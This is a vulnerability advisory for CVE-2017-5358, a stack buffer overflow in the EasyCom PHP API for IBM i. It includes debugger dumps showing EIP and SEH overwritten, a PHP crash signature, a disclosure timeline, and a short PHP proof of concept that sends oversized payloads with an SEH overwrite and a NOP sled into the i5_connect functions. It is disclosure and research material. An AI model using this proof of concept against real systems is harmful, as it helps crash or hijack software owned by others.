EasyCom PHP API Stack Buffer Overflow

[+] Credits: John Page AKA Hyp3rlinX
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/EASYCOM-PHP-API-BUFFER-OVERFLOW.txt
[+] ISR: ApparitionSec


Vendor:
================
easycom-aura.com



Product:
===========================
EASYCOM AS400 (iBMI) PHP API
EasycomPHP_4.0029.iC8im2.exe

EASYCOM is the middleware which provides native access to IBMi data and programs. With its excellent performance and strict compliance
with IBMi security regulations, this technology facilitates development of Internet, mobile and client/server applications in
Windows, Linux, and IBMi.


EasyCom tested here requires older version of PHP.

Setup test environment:

Windows 7
XAMPP 1.7.3
PHP 5.3.1 (cli) (built: Nov 20 2009 17:26:32)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0

PHP compiled module API=20090626 (need to use for EasyCom IBM DLL)


Vulnerability Type:
=========================
API Stack Buffer Overflow



CVE Reference:
==============
CVE-2017-5358



Security Issue:
================
EasyCom PHP API suffers from multiple Buffer Overflow entry points, which can result in arbitrary code execution on affected system.
Below I provide some proof of concept details for a few of them.


EAX 00000000
ECX 41414141
EDX 771D6ACD ntdll.771D6ACD
EBX 00000000
ESP 00C0F238
EBP 00C0F258
ESI 00000000
EDI 00000000
EIP 41414141

C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)


SEH chain of main thread
Address    SE handler
00C0F354   kernel32.7600410E
00C0FF78   42424242
52525252   *** CORRUPT ENTRY ***

WinDbg dump...

(720.a70): Access violation - code c0000005 (first/second chance not available)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll -
eax=00000000 ebx=00000000 ecx=41414141 edx=77316acd esi=00000000 edi=00000000
eip=41414141 esp=004111e8 ebp=00411208 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???
0:000> !load winext/msec
0:000> !exploitable

!exploitable 1.6.0.0
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000041414141
called from ntdll!RtlDosSearchPath_Ustr+0x0000000000000ada (Hash=0x05cdf8a7.0xce7d7411)

User mode DEP access violations are exploitable.


PHP Crash:
=============

Problem signature:
  Problem Event Name:   BEX
  Application Name:     php.exe
  Application Version:  5.3.1.0
  Application Timestamp:        4b06c430
  Fault Module Name:    StackHash_e98d
  Fault Module Version: 0.0.0.0
  Fault Module Timestamp:       00000000
  Exception Offset:     41414141
  Exception Code:       c0000005
  Exception Data:       00000008
  OS Version:   6.1.7601.2.1.0.256.48



Exploit/POC:
===============
php_Easycom5_3_0.dll 0day vuln POC minus the exploit, I'm bored goin to the park.

<?php

/* Basic connection to an AS400 iBMI System  */

$payload=str_repeat("A", 4000);                                          #BOOM!
$payload=str_repeat("A",1868).
"RRRRBBBB".str_repeat("\x90",100);         #SEH

$conn = i5_connect($payload, "QPGMR", "PASSW") or die(i5_errormsg());    #VULN
$conn = i5_pconnect($payload, 'QSECOFR', 'password', array() );          #VULN
$conn = i5_private_connect($payload, $user, $password, array());         #VULN

echo 'EasyCom PHP API 0day ' . $conn;

?>



Network Access:
===============
Remote



Severity:
==========
High



Disclosure Timeline:
======================================
Vendor Notification: December 22, 2016
Vendor acknowledgement: December 23, 2016
Vendor Release Fix/Version February 20, 2017
February 22, 2017 : Public Disclosure




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.